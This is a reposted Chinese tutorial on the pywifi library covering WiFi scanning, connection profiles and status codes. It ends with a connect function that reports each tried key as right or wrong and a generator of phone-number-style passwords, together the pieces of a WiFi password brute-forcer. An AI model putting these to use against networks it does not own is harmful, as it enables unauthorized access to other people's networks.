pywifi運用


1、WiFi接口操作

(例如:掃描,連接,斷開…)

WiFi接口方法如下

['add_network_profile', 'connect', 'disconnect', 'name', 'network_profiles', 'remove_all_network_profiles', 'remove_network_profile', 'scan', 'scan_results', 'status']

(1)返回掃描的WiFi名字

import pywifi
from pywifi import const    #獲取連接狀態的常量庫
import time

def getwfiname():
    get_wifiname = []
    # 定義接口操作
    wifi = pywifi.PyWiFi()
    # 這里iface就是獲取的wifi接口
    iface = wifi.interfaces()[0]
    # 掃描WiFi
    iface.scan()
    # 獲取掃描的profiles文件
    scan_wifi = iface.scan_results()
    for i in scan_wifi:
        if i.ssid not in get_wifiname:
            get_wifiname.append(i.ssid)
    #返回所有掃描的WiFi名字
    return get_wifiname

(2)連接WiFi

def connectwifi(wifiname, password):
    # 定義接口操作
    wifi = pywifi.PyWiFi()
    # 獲取第一個無線網卡
    iface = wifi.interfaces()[0]
    # 刪除所有連接過的wifi文件
    iface.remove_all_network_profiles()
    # 創建wifi連接文件
    profile = pywifi.Profile()
    # 設置要連接的wifi的名稱
    profile.ssid = wifiname
    # 網卡的開放狀態 | auth - AP的認證算法
    profile.auth = const.AUTH_ALG_OPEN
    # wifi的加密算法,一般wifi 加密算法時wps  #選擇wifi加密方式  akm - AP的密鑰管理類型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密單元 /cipher - AP的密碼類型
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 調用密碼 /wifi密鑰 如果無密碼,則應該設置此項CIPHER_TYPE_NONE
    profile.key = password
    # 加載新的連接文件
    tep_profile = iface.add_network_profile(profile)
    # 連接WiFi
    iface.connect(tep_profile)
    time.sleep(2)
    if iface.status() == 4:
        print(f"WIFI名字:{wifiname} -----密碼正確:{profile.key}")
    else:
        print(f"WIFI名字:{wifiname} -----密碼錯誤:{profile.key}")

(3)返回連接狀態

print(iface.status())
#將返回以下狀態碼之一,這個庫里面就顯示了接口是否連接對於的常量:
#const.IFACE_DISCONNECTED 也就是0
#const.IFACE_SCANNING 也就是1
#const.IFACE_INACTIVE 也就是2
#const.IFACE_CONNECTING 也就是3
#const.IFACE_CONNECTED 也就是4

2、配置文件

(1)生成配置文件對象:

profile=pywifi.Profile()    #生成對象而已,接下來就能對他進行配置操作了

(2)配置文件的操作方式:

ssid - AP的名稱  wifi的名稱
auth - AP的認證算法
akm  - AP的密鑰管理類型   wifi的加密算法,
cipher - AP的密碼類型
key (optinoal) - AP的關鍵。如果無密碼,則應該設置此項CIPHER_TYPE_NONE

說明

auth - AP的認證算法:也是身份驗證的算法,其實,幾乎所有AP都使用開放算法,盡管我們可以有以下設置

const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED

akm - AP的密鑰管理類型:

const.AKM_TYPE_NONE   #AP沒有安全設置
const.AKM_TYPE_WPAPSK  #AP處於WPA模式
const.AKM_TYPE_WPA2PSK   #AP處於WPA2模式

AKM_TYPE_WPA和AKM_TYPE_WPA2針對企業的AP(這里就不解釋了):
const.AKM_TYPE_WPA
const.AKM_TYPE_WPA2

cipher - AP的密碼類型:

const.CIPHER_TYPE_NONE  #如果AP沒有安全設置,則應將密碼類型設置為ProfileAKM_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP  #通常情況下設置為這個,雖然不知道是什么

 密碼

import numpy as np
def dipassword():
    dilist = range(0,10)
    passwordlist = ["1",'3']
    for i1 in dilist:
        for i2 in dilist:
            for i3 in dilist:
                for i4 in dilist:
                    for i5 in dilist:
                        for i6 in dilist:
                            for i7 in dilist:
                                for i8 in dilist:
                                    for i9 in dilist:
                                        passwordlist.extend([i1,i2,i3,i4,i5,i6,i7,i8,i9])
                                        #print("".join(np.array(passwordlist,np.str).tolist()))
                                        yield "".join(np.array(passwordlist, np.str).tolist())
                                        passwordlist = ["1", '3']
手機號碼密碼

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM